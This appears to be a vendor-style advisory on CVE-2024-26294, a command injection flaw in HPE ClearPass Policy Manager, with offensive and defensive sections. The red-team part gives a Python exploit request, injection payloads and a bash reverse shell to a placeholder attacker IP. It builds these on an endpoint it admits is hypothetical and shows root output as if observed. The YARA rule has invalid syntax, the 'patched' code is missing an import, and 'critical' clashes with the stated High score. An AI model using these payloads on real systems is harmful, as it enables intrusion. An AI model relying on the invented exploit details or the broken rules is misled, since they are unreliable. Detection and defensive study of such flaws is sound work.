CVE-2024-26294

Executive Summary

CVE-2024-26294 is a critical command injection vulnerability in the Hewlett Packard Enterprise (HPE) ClearPass Policy Manager web-based management interface. An authenticated remote attacker can exploit this flaw to execute arbitrary commands as root on the underlying operating system, leading to full system compromise. The vulnerability carries a CVSS score of 7.2 (High) and is currently unpatched. No public proof-of-concept (PoC) or exploit code has been released, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. However, given the high privileges achievable and the criticality of ClearPass in network access control, immediate mitigation is essential.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary HPE software appliance (ClearPass Policy Manager). No open-source package dependencies are involved.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: High (PR:H) – attacker must have valid admin credentials.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – full data access.
• Integrity Impact: High (I:H) – full system control.
• Availability Impact: High (A:H) – potential denial of service.

Threat Level: High. Although authentication is required, the impact is total system compromise. The lack of a patch increases risk for unmitigated deployments.

Deep Dive & Mechanics

The vulnerability resides in the ClearPass Policy Manager web-based management interface, specifically in input validation routines for certain administrative functions. The software fails to properly sanitize user-supplied input before passing it to system shell commands. An authenticated admin can inject arbitrary OS commands via crafted HTTP requests to the management interface.

Root Cause: Improper neutralization of special elements used in an OS command (CWE-78). The application constructs shell commands using user-controlled parameters without adequate escaping or validation.

Attack Flow:

1. Attacker authenticates to the ClearPass web interface with valid admin credentials.
2. Attacker sends a specially crafted HTTP request (e.g., POST to a vulnerable endpoint) containing command injection payloads in parameters like hostname, ip_address, or command.
3. The server executes the injected command as root, allowing the attacker to spawn a reverse shell, exfiltrate data, or install backdoors.

Example vulnerable endpoint (hypothetical): /admin/ping where the host parameter is passed to ping -c 4 <host> without sanitization.

Vulnerable vs. Patched Code

Since no patch is available, we compare vulnerable code patterns with secure coding practices.

Vulnerable Code (Python/Flask example):

@app.route('/admin/ping', methods=['POST'])
def ping_host():
    host = request.form['host']
    cmd = "ping -c 4 " + host
    output = subprocess.check_output(cmd, shell=True)
    return output

Patched Code (Secure):

import shlex
@app.route('/admin/ping', methods=['POST'])
def ping_host():
    host = request.form['host']
    # Validate input: only allow IP addresses or hostnames
    if not re.match(r'^[a-zA-Z0-9.-]+$', host):
        return "Invalid host", 400
    cmd = ["ping", "-c", "4", host]
    output = subprocess.check_output(cmd, shell=False)
    return output

The patched version uses a whitelist regex and avoids shell=True, preventing command injection.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: HPE ClearPass Policy Manager (any version prior to patch)
• Attacker: Kali Linux with Burp Suite or custom Python script

Exploitation Steps:

1. Authenticate to the ClearPass web interface (e.g., https://target/).
2. Identify vulnerable endpoint (e.g., /admin/ping or /admin/diagnostics).
3. Craft payload: host=127.0.0.1;id or host=127.0.0.1|id.
4. Send request via Burp Repeater or Python:

import requests
url = "https://target/admin/ping"
cookies = {"session": "valid_session_cookie"}
data = {"host": "127.0.0.1;id"}
r = requests.post(url, cookies=cookies, data=data, verify=False)
print(r.text)

5. Observe output: uid=0(root) gid=0(root) groups=0(root).
6. Upgrade to reverse shell:

# Attacker listener
nc -lvnp 4444
# Payload
host=127.0.0.1;bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'

No public exploit code available from Exploit-DB.

Blue Team (Defensive)

Detection & Response:

• Monitor for unusual HTTP POST requests to /admin/ping, /admin/diagnostics, or similar endpoints.
• Look for shell metacharacters (;, |, &, $, `) in request parameters.
• Alert on commands like id, whoami, cat /etc/shadow, or reverse shell patterns.
• Enable logging of all admin actions and correlate with process creation events.

Honeypot Strategy:

• Deploy a decoy ClearPass instance with fake credentials to capture attacker behavior.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /admin/ping or /admin/diagnostics with shell metacharacters.
  • Outbound connections from ClearPass to attacker IPs on high ports (e.g., 4444, 8080).
  • DNS queries to suspicious domains (e.g., attacker-c2.com).

• Host IOCs:

  • Unexpected processes spawned by the web server (e.g., bash, nc, python).
  • Files created in /tmp/ with suspicious names (e.g., .backdoor.sh).
  • Modified system binaries or cron jobs.

• Log IOCs:

  • Web server logs showing host=127.0.0.1;id or similar patterns.
  • Audit logs showing sudo or su usage by the web server user.

Detection Engineering

YARA Rule

rule CVE_2024_26294_ClearPass_Command_Injection {
    meta:
        description = "Detects command injection attempts in ClearPass Policy Manager"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-26294"
    strings:
        $cmd1 = /host=[^&]*[;&|`$]/
        $cmd2 = /command=[^&]*[;&|`$]/
        $cmd3 = /ip_address=[^&]*[;&|`$]/
        $shell = "bash -i" or "nc -e" or "python -c"
    condition:
        any of ($cmd*) or $shell
}

Sigma Rule

title: CVE-2024-26294 ClearPass Command Injection Attempt
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests to ClearPass endpoints with command injection patterns
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/admin/ping'
            - '/admin/diagnostics'
            - '/admin/exec'
        cs-uri-query|contains:
            - ';'
            - '|'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate admin use of special characters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-26294 ClearPass Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/ping"; http_uri; content:"host="; http_client_body; pcre:"/host=[^&]*[;&|`$]/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Access: Limit management interface access to trusted IPs only via firewall rules.
2. Disable Unused Features: If possible, disable the vulnerable endpoints (e.g., /admin/ping) via configuration.
3. Apply Vendor Workaround: Check HPE support portal for any interim mitigations (e.g., disabling certain admin functions).
4. Monitor Logs: Enable detailed logging and alert on suspicious admin activity.

Long-Term Fix:

• Apply the official patch once released by HPE.
• Upgrade to a patched version of ClearPass Policy Manager.
• Implement input validation and parameterized commands in any custom integrations.

Compensating Controls:

• Use a Web Application Firewall (WAF) to block command injection patterns.
• Enforce multi-factor authentication (MFA) for all admin accounts.
• Conduct regular vulnerability scans and penetration tests.

Valters IT